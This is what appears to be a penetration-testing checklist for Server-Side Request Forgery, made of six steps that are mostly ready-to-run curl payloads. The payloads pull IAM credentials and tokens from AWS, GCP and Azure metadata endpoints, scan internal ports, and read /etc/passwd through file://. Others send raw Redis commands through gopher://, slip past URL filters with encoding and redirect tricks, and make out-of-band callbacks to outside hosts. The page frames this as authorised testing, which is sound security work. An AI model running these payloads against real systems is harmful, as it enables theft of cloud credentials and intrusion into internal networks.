Server-Side Request Forgery (SSRF)

Exploitation HIGH v1.0.0 updated 2026-06-17

Test for SSRF vulnerabilities to access internal services, cloud metadata endpoints, and internal network resources through the target application.

Tools

SSRFmapBurp Suiteinteractshnucleicurl

Tags

exploitationssrfcloud-metadatainternal-accessserver-side

// checklist steps

ssrf-01

Test URL parameters for basic SSRF

Identify parameters that accept URLs or hostnames and test whether the server will make requests to attacker-controlled or internal destinations.

# Identify URL-accepting parameters
cat all-urls.txt | grep -iE '(url=|uri=|path=|dest=|redirect=|site=|page=|feed=|host=|proxy=|img=|link=|src=)'
# Test with external callback
curl -sk 'https://target.com/fetch?url=https://collaborator.net/ssrf-test'
# Test with internal address
curl -sk 'https://target.com/fetch?url=http://127.0.0.1:80'

Look beyond obvious parameters — file import features, webhook configurations, PDF generators, and image fetchers are all common SSRF surfaces.

ssrf-02

Detect blind SSRF with out-of-band callbacks

Use external interaction services to detect SSRF when the server response does not reflect the fetched content.

interactsh-client -v
# Use the generated subdomain in SSRF payloads
curl -sk 'https://target.com/fetch?url=http://<interactsh-subdomain>'
nuclei -u https://target.com -t vulnerabilities/generic/oast/ -iserver interact.sh

Blind SSRF is common when the application fetches URLs in background jobs or async processing. Monitor your callback server for delayed responses that indicate queued requests.

ssrf-03

Access cloud metadata endpoints

Test SSRF payloads targeting cloud provider metadata services to extract IAM credentials, instance configuration, and secrets.

# AWS metadata (IMDSv1)
curl -sk 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
# AWS metadata (IMDSv2 — requires token)
curl -sk 'https://target.com/fetch?url=http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'
# GCP metadata
curl -sk 'https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'
# Azure metadata
curl -sk 'https://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' -H 'Metadata: true'

AWS IMDSv2 requires a PUT request for a token first — if the SSRF allows method control, you can still exploit it. Always check for both v1 and v2 endpoints.

ssrf-04

Scan internal ports and services via SSRF

Leverage SSRF to enumerate internal network services by observing response differences for open and closed ports.

# Scan common internal ports
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do echo "Port $port:"; curl -sk -o /dev/null -w '%{http_code} %{time_total}s' 'https://target.com/fetch?url=http://127.0.0.1:'$port; echo; done
# Check for internal services
curl -sk 'https://target.com/fetch?url=http://localhost:6379/INFO'
curl -sk 'https://target.com/fetch?url=http://localhost:9200/_cluster/health'

Response time differences can reveal open ports even when content is not returned. A fast error for closed ports versus a timeout for filtered ports provides useful signal.

ssrf-05

Test protocol smuggling with non-HTTP schemes

Test whether the SSRF allows non-HTTP protocols such as gopher://, file://, dict://, and ftp:// to interact with internal services.

# file:// protocol
curl -sk 'https://target.com/fetch?url=file:///etc/passwd'
# gopher:// protocol (send raw TCP)
curl -sk 'https://target.com/fetch?url=gopher://127.0.0.1:6379/_INFO%0d%0a'
# dict:// protocol
curl -sk 'https://target.com/fetch?url=dict://127.0.0.1:6379/INFO'

The gopher:// protocol is especially dangerous as it allows sending arbitrary TCP data, enabling exploitation of Redis, Memcached, and SMTP services behind the firewall.

ssrf-06

Bypass SSRF filters with URL parsing tricks

Circumvent URL validation and blocklist filters using DNS rebinding, URL parser inconsistencies, redirect chains, and encoding tricks.

# Decimal IP encoding
curl -sk 'https://target.com/fetch?url=http://2130706433'
# IPv6 loopback
curl -sk 'https://target.com/fetch?url=http://[::1]/'
# URL with credentials
curl -sk 'https://target.com/fetch?url=http://attacker.com@127.0.0.1/'
# Double URL encoding
curl -sk 'https://target.com/fetch?url=http://%2531%2532%2537%252e%2530%252e%2530%252e%2531/'
# Open redirect chain
curl -sk 'https://target.com/fetch?url=https://target.com/redirect?to=http://169.254.169.254/'

DNS rebinding attacks use a domain that alternates between resolving to a public and private IP. Tools like rbndr.us can generate rebinding domains automatically.

Overview

Server-Side Request Forgery allows an attacker to induce the server to make HTTP requests to arbitrary destinations, bypassing firewalls and network segmentation. In cloud environments, SSRF can lead to full infrastructure compromise via metadata credential theft.

Cloud impact

SSRF in cloud-hosted applications is particularly dangerous because cloud metadata endpoints expose IAM credentials, API tokens, and instance configuration data. A single SSRF vulnerability can pivot from web application access to full cloud account compromise.

Detection challenges

Blind SSRF — where the response is not returned to the attacker — requires out-of-band detection techniques. Use callback servers like Burp Collaborator or interactsh to confirm that requests are being made, even when no data is reflected.

// references

  1. https://portswigger.net/web-security/ssrf
  2. https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
  3. https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
  4. https://github.com/swisskyrepo/SSRFmap
  5. https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-ec2/aws-ec2-ssrf
← All checklists JSON ↗